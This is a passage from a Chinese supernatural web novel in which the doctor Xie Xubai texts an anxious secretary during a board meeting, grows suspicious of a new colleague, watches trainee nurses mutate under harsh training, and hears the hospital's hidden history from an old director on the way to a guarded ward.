考虑到新开发的项目成本消耗极大,业务代表与蓝海方面负责人沟通合意,对方愿意弥补基础材料中的差价,只是我方能获得的利润略有下调,初步定为13%——” 叮咚。 谢叙白:【吕秘书说笑了,我怎么会生气?】 盯着“吕秘书”三个字,吕向财登时眼前一黑,寒毛一竖。 他心想这下麻烦大了,谢叙白不仅在生气,而且还气的不行,那天的十全大补汤果然是在罚他! 可是吕向财绞尽脑汁,都没想出自己到底哪里招惹过谢叙白。 从前往后一应细数,他对谢叙白的重视包括但不限于:发消息秒回、要东西当天,不,限时半天内就给、所有配置都是顶级价值千金(但没敢告诉对方,怕人不要),几百通电话全世界请专业团队当外援。 难道是因为他不放心谢叙白的安危,预备让十几个雇佣兵伪装成过病人和临时工作者潜入医院的安排暴露了? 还是因为今天早上得知宴朔不知所踪,导致手忙脚乱,没有及时给青年发“早上好”? 吕向财呲牙咧嘴地抓着头发,表情略显狰狞:“啧,一定有哪里出了问题!” 汇报者浑身一个激灵,反应极快,话锋陡转:“但那怎么能行?!我方业务代表据理力争,最终斩获28%的利润……” 董事会成员一看吕向财的目光还黏在手机上,就知道闹了个乌龙,连忙装作不经意地咳嗽一声。 汇报者抬头看吕向财,高悬的心落下来:“可对方公司代表认为利润太高!看在以往的交情,也为了之后能够持续合作,我们再次协商,将利润点定为17%……” 叮咚。 谢叙白:【你和傅倧的关系是不是很好?】 吕向财霎时想到他和傅倧的秘密交易,心头警铃大作。 吕向财:【也就一般,你怎么突然想起提这事,难道他对你做了什么?】 现实中吕向财咬牙切齿地爆了个粗:“他还(和谢叙白)谈我们的关系,跟他能有什么关系?!” 汇报者的手开始抖:“是的,我们算得上什么交情?我方代表坚决不同意,一口咬定26%——” 叮咚。 谢叙白:【没有,他对我很照顾,我还以为是你在背后协调。】 吕向财当即脸色一松。 董事会又咳嗽,汇报者硬着头皮道:“于是对方公司改口19%——” 叮咚。 谢叙白:【然后和我说了点你们的事。】 吕向财:“艹!” 汇报者的心又跳到嗓子眼:“我们怎么可能接受,继续咬定24%!” 叮咚。 谢叙白:【比如你们一开始是怎么认识的。】 汇报者勉强提上气:“对方要求20%。” 叮咚。 谢叙白:【以及最近发生的一些事。】 汇报者脸色煞白:“不行,不同意!25%是我们的底线!是盛天集团的脸面!” 吕向财:【你都知道了?】 谢叙白:【知道什么?】 汇报者脸色再白:“但考虑到对方公司也有难处,还给我们补上了材料差价,最终定为23%,这个价格很公道……” 叮咚。 谢叙白:【知道你们交易的内容?】 汇报者的脸色又又白:“再有难处也不行,盛天集团就没难处了吗?生意场不是做慈善的,我方决定25%不二价!” 叮咚。 谢叙白:【没有,他没告诉我。】 汇报者:“22%——” 叮咚。 谢叙白:【至少没有全部告诉我。】 汇报者的脸色又双叒叕煞白:“29%——” 叮咚、叮咚、叮咚…… 一场会议。 董事会的人咳得前仰后合,差点给自己咳出哮喘。 汇报者的脸色如同被打翻的颜料瓶,忽青忽白变幻莫测。 不明真相的其他高层面面相觑,刚举起手又被紧张的气氛吓得缩回去,欲言又止,止又欲言。 坐在决策位的吕向财又是咬牙跺脚,又是猛然拍桌。 最后听到那不间断的消息提示声,底下的人都被勾得欲死欲活,泪流满面:祖宗啊,够了吧,你们到底在聊啥啊! 谢叙白从吕向财回消息的间隔,就能大概判断出对方的心情。 但他没有快意,只有无奈和酸楚:【吕向财,你感觉到了吗?这就是我当时的心情。】 谢叙白认真地打字道:【当时真的很生气。但我过后想了想,你瞒着我和傅倧做那种残忍的交易,和我明知道真相却瞒着你独自忍受酸苦,都是无法坦诚,导致最后可能让对方受伤——我俩半斤八两,谁都怨不了谁。】 谢叙白:【继续瞒下去可能会成死局,所以我决定先走出这一步,把一切都说开。你的东西我会全力以赴地要回来,并且你也得全力以赴地帮我。】 谢叙白:【我休息时间快结束了,晚点再聊。[狗狗摸头][猫猫拍肩]】 吕向财坐在位置上,将近十多分钟只动一动手指:在手机快要息屏的时候摁亮。 他能坐得住,底下的人却要疯了,董事会的几位元老拍桌而起:“吕秘书!你到底知不知道我们还在开会?!手机不静音就算了,全程走神,难道你平时也是这样跟宴总——” “开会?”吕向财懒洋洋地睨他们一眼,勾唇笑着,笑意却不达眼底,“报价报得和过山车一样,我还以为咱们是幼儿园,在玩家家酒。” “还有那边一直在咳嗽的几位,咳成这样也算你们身残志坚,干脆把所有的活都交给下面的人做吧,可不能让别人笑话我们盛天集团压榨病患。” 董事会的人话音一滞,脊背一寒:“你没有这个……” “想说我没有这个权力吗?”吕向财扯了一下嘴唇。 空气忽然变得很冷,仿佛气温骤降二十多度。 董事会的人就像被无形的大手扼住咽喉,蓦然什么话都说不出来,只能惊恐地看着他。 吕向财偏着脑袋看他们,真切地哼笑一声:“算了,今儿个心情好,不和你们计较。工作汇报重做,今晚之前交到我桌子上,散会。” 最后一个字音落下,紧张到窒息的气氛得以松缓。 全场所有人看着吕向财小步纵跃离开的背影,哽了又哽,劫后余生地瘫软在座位上。 谢叙白这边刚放下手机,屏幕上又弹出傅倧的消息。 【诊断单交给医师助理,让他录入系统,不用特意交给我看。】 傅倧:【还有,周主任家里遇到点变故,刚才给我提了离职,这阵心情不好,需要一个人静一静,你别上赶着去讨嫌。一会儿我让保安护送他离开医院。】 傅倧没提企划案,一是避免留下信息,二是打算好好看一看。 身为医院的管理者,当然在金融财政方面有所涉猎。 他能看出谢叙白做这份企划案时相当用心,恐怕早就等着找机会和自己提起合作,至于周主任,或许是因为对方正好撞在了枪口上。 作为这一带的诡王,傅倧能及时感应到医院发生的大小事件,但也没强到能知晓所有的闲聊八卦。 往日他对这个权能不厌其烦,毕竟他一个身体也不能裂成八瓣去救火。 加上规则严格限制着他的行动,面对那些好似可以挽回的惨剧,他也只能坐在办公室里干瞪眼,看着电脑喝着茶,什么都做不了。 现在,傅倧却忍不住生出一丝好奇心,想知道周主任到底做了什么事,能逼得好脾气的谢叙白对他下黑手。 另一边的谢叙白同样很不解。 医疗是民生所需,关乎着民众的生命安全,所以医院必须严格治下,避免乱了根基。 喜欢在背后挑拨离间的周主任,无疑是个不稳定炸弹。对方甚至敢当着患者和其他医护人员的面非议管理者,这事放在任何一个地方都很离谱,放任下去必将引起大患。 为什么傅倧还要把人给留下来? 谢叙白知道直接问傅倧肯定得不到答案,只能先按捺住心里的疑惑。 直至下午四点左右,人事部通知全体医护人员,周主任今天因私人原因正式离职,由新来的赵主任接替他的职位。 谢叙白已经做好准备,和李主任去见一见传说中的那位S级患者,自然要留体力,到了规定的坐诊时间后结束问诊。 刚巧赵主任过来问候。 对方是一个三十多岁的壮年男子,戴着眼镜有些斯文,笑容腼腆,说话和和气气,脸上长着雀斑。 谢叙白友好相待,赵主任礼数得体。 聊着聊着,相谈不说甚欢,至少也没了最开始的疏离,双方都有些放开。 听闻赵主任家里也养猫,谢叙白瞬间惊喜地弯眸一笑,正要从手机里翻出小家伙们的照片给人看,冷不丁听到对方迟疑地开口:“谢主任,我听其他人说,院长似乎对你有意见?” 谢叙白浑身一顿,有些奇怪地拧起眉头。 谢叙白:“你听谁说的?” 赵主任:“医院里闹得沸沸扬扬,在哪儿听不到?” 赵主任满脸忧心忡忡,一副为他好的样子:“可能是我多心。不管怎么说,你要警惕着点,小心功高盖主啊!” 室内一瞬间静得出奇。 赵主任表现得忧虑十足,眼珠子却轱辘一转,似乎别有心思。 眉眼曲度和嘴角弧度拉开得恰到好处,像绘上去的脸谱。 “……”谢叙白关掉手机相册,抬头细细地打量对方的脸。 ——明明是不同的长相,有着不同的气质和谈吐,他却仿佛看到了又一个周主任。 第69章 医院的前身 赵主任初来乍到,还有许多工作交接上的事没搞明白。 他这次来找谢叙白,是奔着对方最近一段时间名声大噪,前途不可限量,所以特意来混个脸熟。 没聊上多久,人事部那边给赵主任打来电话,催他赶快回到工位。 赵主任只能告辞。 临走时,他眼睛里写满不舍,和谢叙白依依惜别:“一开始收到聘用通知,亲友们都羡慕我能找到这么好的工作,可他们哪里知道这位置根本坐不稳!” “新入职的医护工作者有一个月的考察期,期间底下的人随时可以把你弹劾下去,稍有差池就会被问责辞退,要我说还不如打扫病房的清洁工!至少他们是铁饭碗啊,不用面对劳什子的绩效评比考核。” 赵主任愁得眉头拧成一团,面容仿佛苍老许多。 他将谢叙白看为新入职的同期,眼神更加殷切:“谢主任,您就说我们的处境难不难?院长看我们不顺眼,那些老一派的主任也把我们视为眼中钉,真的是……” 叮铃铃。 电话响起,赵主任连忙接通。 还是之前催他的那名护士长,对方的语气明显有些不耐烦:“赵主任,你怎么还没回来!这里这么多病人难道让我来治吗?” 赵主任忙不迭回答:“马上马上。” 他不得不离开,刚走出去没几步,猛然转过身。 “……对了!谢主任您今晚有空吗,要不我们去喝一杯?” 谢叙白瞄着他眼里的几根红血丝,还有那神情中无法掩盖的焦躁,顿了顿,顺势笑道:“你也知道我们在考察期,哪有放松的时间?别说下班喝酒,我今天早上差一点晚起迟到。” “不如我们先加个好友,等顺利度过考察期,时间充裕后再约?” 赵主任立时醒悟过来,状似懊恼地拍一下脑门:“您看我这脑子!来来来,我加您。” 两人加上联系方式,赵主任仿佛终于安了心,恳切地叮嘱一句“以后常来往,常联系”,将门轻轻带上。 门外的脚步声匆匆远去,谢叙白收回目光,在通讯录中找到医师助理,让他帮忙录入诊断单。 随后他翻开赵主任的朋友圈。 三十多岁,男性,工作号,一般不会发朋友圈——果不其然什么都没翻到。 谢叙白沉吟片刻,又翻开几个热门网络社交平台。 通过平台自推的好友互相关注功能,他在一个知名博客上,搜索到赵主任的账号。 最新一条签名映入眼帘。 【赵主任(博士毕业于XXX医师大[已认证]):救死扶伤,济世安邦,无愧天地。[努力][努力]】 谢叙白的视线久久地停留在这条签名上,像是凝固了一般。 随后他继续往下翻。 医科生没什么时间发博客,但偶尔兴起,也会记录一些生活的趣事琐事。 在赵主任的博客里,有随手拍下的风景照,对导师和学校食堂的吐槽。 更多的是挑灯夜读、和论文研究奋斗到底的记录。 像无数多个莘莘学子,字里行间写着自己累得生不如死,却又饱满对未来生活的憧憬和热爱,痛并努力着。 谢叙白回想赵主任方才谄媚讨好的模样,再对比博客中所呈现的性情,简直判若两人。 一道猜想如同闪电从脑海中迅速划过。 他瞬间心脏揪紧,发酸难受。又仿佛被无法辨明的寒意包裹,不由得毛骨悚然。 当日晚六点半,天色昏暗,乌云积压,隐约有一场暴雨来袭。 与李主任的约定时间在午夜,尚有盈余。 谢叙白吃过饭,给司机和江凯乐等人打电话,说明今晚有事不回家,直接住在医院宿舍,让他们早点休息。 洁白整洁的病房内,实习护士正在给病人换药。 视线余光瞄见近在咫尺的锋利口器,她不由得有些惴惴不安,吞咽唾沫。 这么一紧张,手下打滑,沾药的棉签从病人的伤口处擦过去,病患痛得哆嗦,直接暴怒,去揪她的头发:“你在干什么?你想杀死我吗,啊?!” 原本只是半异化的口器,也随着病人的暴躁忽然变大。 尖端反射出冰冷的凶光,几乎要抵到护士的脸颊,刺穿她的皮肤。 实习护士恐慌大喊:“我没有!您先冷静下来!放开我,救命——” “糟糕,病人暴动了,快来帮忙!” 其他医护人员听到动静,心脏一咯噔,火急火燎地赶过来。 但在他们出手之前,金色的精神力率先冲入病房,如同坚硬的套绳死死拽住病患的口器。 谢叙白快步赶到两人的身边,精神力在病患的两边胳膊肘上一扯,干脆利落地掰开那形如铁钳的手,将实习护士拉出对方的钳制。 “呼哧,呼……谢谢!” 实习护士惊魂未定,眼里吓出雾蒙蒙的泪水,气喘不匀。 同伴见状赶忙将她拉过去安慰,却发现还有一缕金色的精神力,停在她的肩膀上。 在精神力的抚慰下,实习护士的恐慌很快得以平息,擦擦眼泪,和其他人一齐看向谢叙白。 白炽灯下削薄的脸皮微微绷紧,鼻梁上架着金丝眼镜,气质温文尔雅,眸光平静镇定,莫名让人心安。 特异科和外伤科有一定距离,这里的大多数医护人员都没有见过谢叙白的真容。 直至几人眼尖地瞄见青年的胸牌,立时惊喜道:“谢主任,您怎么会来外伤科?” “我正巧路过这里,听到有吵闹声,就赶了过来。” 谢叙白的视线从他们身上一掠而过。 大大小小的伤痕遍布在外,纵横交错。撕裂伤、刀伤、咬伤甚至还有烫伤和烧伤。 伤痕的狰狞,和肌肤周围完整白皙的部分形成鲜明对比。 谢叙白眼见病人被几名护士轻车熟路地制服,询问道:“这种事情经常发生吗?” 似乎注意到谢叙白的目光,几人看向自己的疤痕,略显羞赧地往后藏。 老师之前骂过他们,这些是学艺不精的表现。 只有胆子稍大的一人,不错眼地和谢叙白对视,分辨出对方神色中的担忧,大大方方地道:“没有经常,都是一些小伤,过不了多久就会好。” 谢叙白心知,怪物病患易躁易怒,医闹行为得不到秩序和法律的约束,只会变本加厉。 或许是为了应对这样的困境,异化后的医护人员抗击打及自愈能力直线上升,几句话的功夫,他们身上的部分伤口已经愈合。 但这也意味着,谢叙白看见的这么多道伤口,都是短时间内造成的,最长不超过一天。 ——一天之内,遍体鳞伤。 谢叙白来到走廊外,没有看见保安赶来维护秩序。 大家似乎习以为常,眼看暴乱平息,自行散去。 甚至那几名护士在看见病人平静下来后,直接松开手,没说给上个拘束带。 实习护士的同伴们小声叮嘱她:“还好有谢主任。” “是啊,不然要是被老师知道了,又得被痛骂一顿。” 几名护士走过来,跟着斥责道:“都说过这名病人痛觉神经发达,让你小心一点,怎么还是这么鲁莽?” 一名护士不客气地将见习护理拽过来,凌厉地盯着对方被扎出血点的脖颈,手指用力地蹭上去:“还有,我之前说过多少遍,让你快点长出甲壳,你怎么就是不听?” “非要受伤知道痛才长?大家都这么忙,你指望到时候谁来给你收尸?” 尖锐的指甲在脖颈上刮出道道红痕,实习护士却不敢躲,咬着嘴唇忍耐。 谢叙白皱了皱眉头,正要抬手阻止,却看见被护士刮出红痕的地方,接二连三地冒出黑褐色的硬块。 那正是护士所说的甲壳。 它们如同雨后春笋,长势极快。继最初的一片露出来后,很快细细密密地布满见习护理的脖颈,形成坚硬的护甲。 这个过程中,见习护理的鬓角青筋直冒,似乎在忍痛,牙齿几乎将下唇咬出血痕。 硬块的边缘带着淋漓鲜血,顺着缝隙汩汩流淌下来,宛若把长好的骨头野蛮拉出体内,痛彻心扉。 终于,她忍不住痛呼起来:“啊……!” 护士厉声呵斥:“忍着,这点小痛都受不了,以后你要怎么在这里工作?” “可是,太痛了,啊啊啊啊!” “这就是现实。”护士铁石心肠,一脸冷漠,“你到任何地方去都一样。” 说话的功夫,迅速蔓延的甲壳终于覆盖住整个脖颈。护士屈指在上面敲一敲,似乎有些不满意地道:“太脆,不够硬,你自己注意着点。” 实习护士小声啜泣着,答应下来:“好的,我知道了,谢谢您……” 几名护士来到门口,向谢叙白恭敬问好,随后踩着哒哒哒的脚步声,风风火火地跑回自己负责的病房。 谢叙白隐约听到了咒骂声,似乎是那几名护士的病患在痛骂她们擅离职守,很快发生口角。 但打斗的声音稍纵即逝,没等谢叙白迈开步子,便得以镇压。 “……”他转移视线,看向那名实习护士。 对方的同伴不知从什么地方拿来一把水果刀,直愣愣地往人的脖颈上戳。 锐利的刀锋被甲壳完美挡住,一点都没有伤到本人。 几个同期霎时开心地向她道贺,祝她成长,本人也破涕为笑。 恢复冷静的病患再次不耐烦起来,他的伤口还暴露在外:“你们到底打算把我晾多久?” 实习护士才刚放下的心瞬间又悬在嗓子眼,反射性摸向自己的咽喉。 也是这时谢叙白开口询问:“需要帮忙吗?” 他补充道:“我可以缓和病人的情绪。” 实习护士没想到谢叙白身为特异科主任,居然愿意留下来继续帮她,顿时受宠若惊地摆手:“不,太麻烦——” 话没说完,同伴连忙悄悄地拽她一下,挤眉弄眼恨铁不成钢地盯着她,她才笨拙慌张地改口:“那,麻烦您了,真的谢谢您!” 谢叙白笑着说了声没事,同时运转精神力。 病患刚才体验过谢叙白的厉害,见状嘟嘟囔囔,也没敢多说什么。 沐浴在柔和的金色精神力下,那种仿佛被成千上万只蚂蚁啃噬的痛感,竟是在逐渐消退。 病患没想到这人还有止痛的本事,脸上的躁郁烦闷如烟消云散,整个人看上去松快很多。 他情不自禁发出一声舒适的喟叹,想起之前吃过的那些痛,又忍不住埋怨起来:“早点把他找来不就行了吗,非要找什么都不懂的实习生,我来医院看病,不是来给你们练手的!技术不行能不能练好了再来?” 几名实习生满脸尴尬,技术不过关,她们心里也很歉愧。 将心比心,谁受伤生病时心情会好?再碰到一个不熟悉操作的人,伤上加伤的时候又怎么忍得下去。 谢叙白走到病患的面前,持续用精神力安抚对方的情绪,眸眼含笑显得温和,晓之以情,动之以理:“您说得是。但您要想,我也是从她们这个阶段过来的,等老医生护士们退了之后,也需要她们来挑起担子,您的儿女子孙辈也将由她们来治疗看护。” “这练习的经验和机会要是没人给,后面还有人能治病吗?”谢叙白看着病患略有动容的神色,继续柔声劝解,“您要是实在生气,我也可以帮您叫其他的护士过来,看您的意愿。” “……行了行了!让她来吧。”病患道,“小心点。” 谢叙白眼神示意实习护士不要怕,让人直接去处理。 实习护士感激地鞠了一躬,快手快脚地跑过去。 这次她不敢再有差池,全程小心翼翼,终于给病患换好伤药。 一般换药实习生就能做,唯独这名病患痛觉神经敏感,方才显得棘手。 谢叙白离开时,几名实习生连声道谢,将人送到外伤科门口。 他似乎不经意地往后看。 那名实习护士脖颈上的甲壳已然硬化。 其他人的皮肤上,也似有若无地浮现出相同的黑褐色,仿佛酝酿着什么。 有一瞬间,这些实习生的眼神有些恍惚,瞳孔再次焕发神采的时候,瞳色不再是纯粹的黝黑,无数根线条交错其间,编织成形如蜜蜂的复眼。 呆滞片刻,她们再次忙碌起来。 那些有着无数六边形小眼的复眼纵观八方,看上去比原先的眼睛好使很多。 所以她们的脚步也愈发轻快,从笨拙到熟稔,直至完全适应。 谢叙白收回视线,轻抿嘴唇,无声离开。 第一医院,加班是常态。 晚上九点左右,医生护士们才陆续换班。 谢叙白利用这段时间,将整个医院探索个遍,对各科室的情况有了大致的了解。 一直到午夜将近,天上乌云层层叠叠,遮蔽月光,不时能听见震耳欲聋的雷鸣。 空气中飘着丝丝缕缕的水汽,冰凉彻骨。 不多时,谢叙白和李主任会面。 巨大的阴影从头临下,谢叙白的背后传来让人生骇的压迫感。 他转过身,看向李主任背后张牙舞爪的影子,平静地将暖水袋递过去:“今晚要下暴雨,天气转凉,您要不抱着这个暖暖手,对身子骨好。” 心里想着前院长的李主任脸色阴郁,一听这话蓦然怔住,连身后高大狰狞的影子都僵了一瞬。 半晌,他枯槁的手掌接过暖水袋,滚烫的热意驱散细雨中的阴寒,也暖了冰冷的双手。 年纪大了,骨头变脆,易得风湿风寒,怕冷得很。 李主任狐疑地看向他:“你还随身带着暖水袋?” “看今晚要下雨,提前准备一下。毕竟冷着我,也不能冷着我们医院的老骨干,不然日后谁来挑大梁?”谢叙白撑开伞,笑了笑。 李主任嘴角一抽。 他面不改色地将暖水袋抱在手上:“年轻人就是毛病多,走吧。” 谢叙白跟在他身后,正要抬脚,敏锐地发现前方两米距离内忽然没了雨丝。 他怔了一下,拿开伞往上看,只见李主任的大影子挡在头顶,密不透风地遮住雨。 李主任头也不回地走在前面,忽然道:“你知不知道这家医院是怎么建立起来的?” 谢叙白跟上去:“我有听说过,这里最早好像是个卫生所,后来经过加盖,建成战地医院。更多的就不清楚了。” 其实不是,吕向财的资料中有第一医院完整的建成史。 但就是他这种一知半解、虚心求问的姿态,更能激发李主任的讲解欲。 果然,李主任嗤之以鼻,不加掩饰地道:“那些写在明面上的东西就是拿来糊弄你们的。呵……什么战地医院,专门研究怪物的战地医院?” “说起来。”李主任冷不丁转过身,狐疑中带着点不确定,上下打量谢叙白,“你和我曾经认识的一个人有点像。” 第70章 试探 谢叙白呼吸一滞,下意识凝神看过去。 一般年长的人提起你和谁谁谁很像,几乎都是父母辈的熟人。 仿佛落实他的猜想。 李主任不无怀念地笑着说:“那是我曾经的一个朋友,经常跟在傅倧身边,和他亲密得就差没同床共枕。” 这让谢叙白怎能不多想? 毕竟他也曾大胆地猜测过——其实傅倧就是他消失多年的便宜爹。 却因为时间久远,有规则限制认知,导致记忆混淆,无法认出对方。 而李主任和傅倧共事已久,说不定曾经见过傅倧和谢语春女士谈恋爱,甚至是结婚生子。 对想要追溯过往的谢叙白来说,不亚于投下一个重磅炸弹。 谢叙白心下急切,有意追问。 下一秒,迎着李主任探究的目光,他直觉有哪里不太对劲,脚步刹停。 应对只在瞬息之间。 谢叙白面露震惊,像正常人毫无征兆地听见一个惊世骇俗的消息,根本顾不上细究对方后面说了些什么,所有的注意力都集中在前一句话。 “您说什么?研究怪物?难道这家医院私底下——” 轰! 一道雷霆划破夜幕,半边天空亮白如昼。 恰逢午夜钟声敲响,沉闷厚重,徐徐响彻天空。 咚!咚!咚——! 除去值班科室,门诊部等各栋大楼的灯光陆续熄灭,白天里的热闹和喧嚣仿佛被黑暗吞噬,整个医院转瞬笼罩在昏暗阴森的氛围中。 谢叙白在雷声响起后猛然闭嘴,绷紧神经,警惕地望向周遭。 李主任深深地凝视着他。 青年的履历信息上写着父母双全。 如果那些信息是假的,实际上真如傅倧所说,谢叙白自幼丧母,又和对方是多年前闹僵的养父子关系,私心上的偏颇和侧重,会让青年忍不住在意他的后一句话。 李主任能够坐上今天这个位置,多疑早已成为刻在骨子里的病症。 他又和傅倧打过那么多次交道,清楚对方说话喜欢半真半假,自然会生出试探谢叙白的想法。 也是老奸巨猾。 所幸谢叙白反应极快。 在根本不清楚傅倧和李主任通电话、发生过口角的前提下,全凭本能的慎重和敏锐的观察力逃过一劫。 李主任打量他一会儿,暗道傅倧的那番言论果然是煽风点火的烟雾弹,稍微放下心,眼睛往天上瞥:“今晚的天气是诡异了一点。” 空气中剑拔弩张的气息随之一散。 见李主任再度恢复和蔼可亲的模样,谢叙白也对老人有多么憎厌傅倧,有了更深的认识。 幸亏他没先接后一个话题。 遮在谢叙白头顶的影子动了动,边缘朝外延展。 不一会儿,它变得和小型遮雨棚差不多大小,足以挡住刺目的雷光。 谢叙白说了声谢谢,思绪百转千回。 猜到李主任很大概率不认识他妈妈,他不由得有些遗憾。 李主任也开了口,回答他刚才的疑问:“你没猜错,这家医院原先作为秘密研究基地建立,暗地里进行过许多泯灭人性的实验,所谓的战地医院不过是它表面的伪装。” 谢叙白作势倒吸一口凉气,没想到李主任不加掩盖地说了出来:“您就这么堂而皇之地告诉我,不会有什么问题么?” “能有什么问题?” 李主任神色冷肃,视线扫过洁白崭新的大楼墙面,隐约透着一点嘲讽。 “看看这些翻修的痕迹,重重叠叠地压在一起,难道你还能找出过去的影子?” “更别提这里曾经发生过一场大爆炸,那次爆炸之后,所有能够揭露傅倧罪行的证据都被埋入地狱。” 李主任眼神阴郁:“傅倧本人都不怕别人提起,难道你我还要帮他掩饰?” 确实,第一医院的翻修工程很全面、彻底。 包括翻新加盖的综合大楼,标准现代化装饰,简洁明了,造型创新且多样,绿化带环绕,完全看不出是几十年前的老建筑。 李主任短短的一段话,足够谢叙白提取出很多信息。 最让他感到骇然的一点是,世界的异化,居然早在二十多年前就已经发生! 很难想象对当时的人类社会,会造成何其重大的打击。 但李主任的说辞有很多地方说不通。 “您的意思是,这家医院是由院长一手建立起来的,那前院长是怎么回事?” 提起前院长,李主任的脸色瞬间缓和许多,带着肉眼可见的崇敬。 念着傅倧的名字,他的眼神又瞬间阴沉下来:“由他一手建立?凭他也配!” “他就是因为当时资历不足,不能服众,才把前院长推上风口浪尖,为他挡下不少的明枪暗箭,自己则退居幕后,等到时机成熟后把前院长拉下台,自己上位!” 通过他的叙述,谢叙白大概听明白了。 意思是医院简介上说的卫生所,其实是一个临时搭建起来的避难所。 这个避难所是私人所有,即前院长主动让出来的家族产业。 当时怪物横生,不少心怀叵测的人趁火打劫,致使这一片区域混乱无比,大家为活命争夺资源,自相残杀。 唯有前院长站出来主持大局,联合众人共同抵抗异化,让手无缚鸡之力的普通百姓得以苟延残喘。 傅倧便是在这个时期,萌生恶念。 他看中异化给人体带来的无限潜力,若是能将其转化为可控的生物科技,那将是难以估计的财富和权力! 但当时,人们心中充斥着家园破灭的悲痛和恐惧,见到怪物的第一反应,只有喊打喊杀。 同为人类,傅倧不想着抑制异化也就罢了。 若是敢在这个时期,光明正大地研究怎么让人变成怪物,那必定成为全民公敌,被枪林弹雨扫成筛子。 所以他急需一个幌子来掩盖自己的研究。 小有规模的避难所,以及前院长闻名遐迩的声誉、和风光霁月的对外形象,不就是现成的幌子吗? 听上去很合理,让闻者义愤填膺,但实际考察起来疑点重重。 李主任在讲述的时候,难免带上个人的感情色彩,情绪忽然激动,又忽然低沉。 谢叙白就像在听老一辈讲述过去的故事,身为外人,难免会计较其中的真实性,时不时有股强烈的割裂感。 但他一点都没有表现出来,认真地聆听,细细分辨李主任话语中那些合理与不合理,成算在心。 也会顺着话头,进行肯定:“能够在那种情况下抗住压力,前院长真是个伟大的人。” 谢叙白这句话里的敬佩不惨半点虚假。 不论什么情况,能够在危难当头,有勇气有决心为黎民百姓撑起保护伞的人,都值得被尊敬。 李主任又看了他许久,眉头愈发松缓:“你和我认识的那位朋友真的很像……那人也是前院长的左膀右臂。” 是,李主任为了试探谢叙白,最先的语气带有误导性。 但他真的曾经有一个朋友,和谢叙白的性情很相像。 这也是他初次见面,就对谢叙白有好感的原因。 如果不是谢叙白才二十多岁,他差点忍不住怀疑两者是同一个人。 谢叙白则是惊讶,李主任竟然真有这么个朋友,不完全在诈他? 他顺势询问:“您说的这个朋友,既是前院长的得力手下,又和院长认识交好,那么院长要对前院长下手,他就没尝试阻止?” 李主任眼神晦暗,轻叹一声:“怎么可能不去阻止,只是……唉。” 他戛然而止,似乎谈到伤心处,不愿再提。 于是谢叙白也不好再问。 事实上,谢叙白迫切地想知道异化的源头是什么,那很有可能是让世界恢复正常的关键。 所有的真相,都不如这一项带给他的震撼更大。 但李主任说不清楚。 与其说老人对异化的起源一无所知,倒不如说有无形的规则力量加以干涉。 每每说到关键的地方,李主任就会倏然卡壳,毫无所知地转移到另一个话题。 就算谢叙白想主动绕回来也没用,他会再次略过。 多问几次怕是会招来怀疑。 不论谢叙白如何急切,都只能按捺不表。 高空雷声大作,狂风呼啸,吹得树影不堪重负地疯狂摇曳。 不知不觉,两人来到此行的目的地,第一医院异化怪物分院的特级收治监察区。 以S级足以屠城的危害性,必定不能和其他病患关在一起。 于是傅倧令人开辟出这个特殊区域,严防死守,禁止外人靠近。 白天谢叙白来过这个地方,只是没有机会进入。 毕竟他作为新入职的主任,除了收治病人,没有其他权限,连第一道机器安检都过不去。 李主任身为医院里贡献卓绝的老泰斗,自然有进入的权限。 问题是每次他想要接近那名患者,傅倧都会像脚底踩着风火轮一样忽然出现,皮笑肉不笑地将他请出去。 这次李主任就想和谢叙白来个声东击西。 他不是没找其他主任帮过忙,结果都是被傅倧没有差别地“请”出去。 问就是那些主任段位太低,实力不强,一照面就败下阵。 直至谢叙白的出现,终于让李主任看到一丝窥见真相的转机。 防卫科的人守在监察区的周遭,来回巡逻。 和谢叙白曾经见过的那些保安比起来,他们没有荷枪实弹、全副武装,只简单地穿着一套作训服。 巡逻的步伐也有点子漫不经心,像一群饭后慵懒散步的猫,走走停停,全是破绽。 但当谢叙白两人跨过那条分界线的瞬间,所有防卫科成员猛然一顿。 就像精准定位敌方的战斗兵器。 不管那些人是躺在树上躲懒,挂在楼上摇摆,还是走在路上巡视,全都在这一刻,不约而同地转身回头。 无数道如狼似虎的目光带着淬冰的冷意刺过来,仿佛能扎穿他们的心脏。 李主任正要开口。 忽然某道人影像老电视息屏后闪烁的雪花,唰一下从原地消失。 难以言喻的战栗感如针扎皮肤,谢叙白后背寒毛直竖。 他余光后移,扫见一颗蒙面的脑袋凑在他的颈后,意味不明地耸动鼻尖,轻轻嗅了嗅。《 》 70-75 第71章 骗子 在这一片死寂的氛围里,任何微小的动静都会被成倍放大。 无论李主任,还是谢叙白,都听到了一道声音。 “咕……” 喉结用力滚动,口腔分泌出大量粘稠的涎水,争先恐后挤入咽喉——分明是野兽忍不住食欲的吞咽声,仿佛饥肠辘辘,随时会撕咬下猎物的一块肉! 靠近谢叙白的蒙面人,正是防卫科的其中一名成员。 李主任惊疑不定,当场怒喝道:“你想要干什么?!” 谢叙白虽然没有正式入职,但身份信息已被录入医院系统,毫无疑问是自己人。 何况他们过安检走的正规流程,防卫科的突然发难简直没有道理! 话音未落,李主任猝然撞上蒙面人的眼睛。 那是一双橙黄色兽瞳,透着无机质的冰凉,宛如浑然天成的琥珀石。 兽瞳凝成针状竖线,专注出神地紧盯着青年的后颈肉,对李主任的呵斥视若无睹。 李主任的呼吸陡然一滞,一股寒意窜入脑神经。 刚才那一声喝问可裹挟着他近乎六成的力量,却跟撞在铁板上一样纹丝不动。 这人的级别绝对不低于他! 眼见蒙面人离谢叙白的后颈越来越近,李主任心下骇然:“谢主任快躲——” 金色精神力比他的声音更快出现,在半空中划开一道绚烂的淡金色尾焰,如同利箭贯穿幽深的夜色,精准地套住蒙面人的脖颈。 蒙面人猝不及防,被毫不客气地拽出五米远,嘭的一下摔坐在地。 “咕唔!” 谢叙白一边用余光关注其他防卫科成员的动向,一边淡然回头,迎向再度冲上来的蒙面人。 面对气势汹汹的蒙面人,他抬起手,做出一个让李主任当场目瞪口呆的动作。 ——五指并拢,指尖向上,掌心朝外,精准地抵在蒙面人的眉心。 蒙面人如果站直,差不多比谢叙白高出半个头。 但他冲过来时下意识压低身子,直接分毫不差地怼了上去。 青年的手型很好看。 线条流畅优美,五指纤细且骨节分明,肌肉宽薄度恰到好处,有着成年男性的宽厚。 很快蒙面人震惊地发现,自己这一撞,居然会动不了。 不,不应该是动不了,应该说小腿和下腹突然使不上劲儿。 他僵在原地,瞪圆的眼珠子直愣愣地往上瞅,正对上谢叙白澄澈的眼眸。 平静无澜的视线透过镜片,反射出泠泠微光,从上临下将他看了个遍。 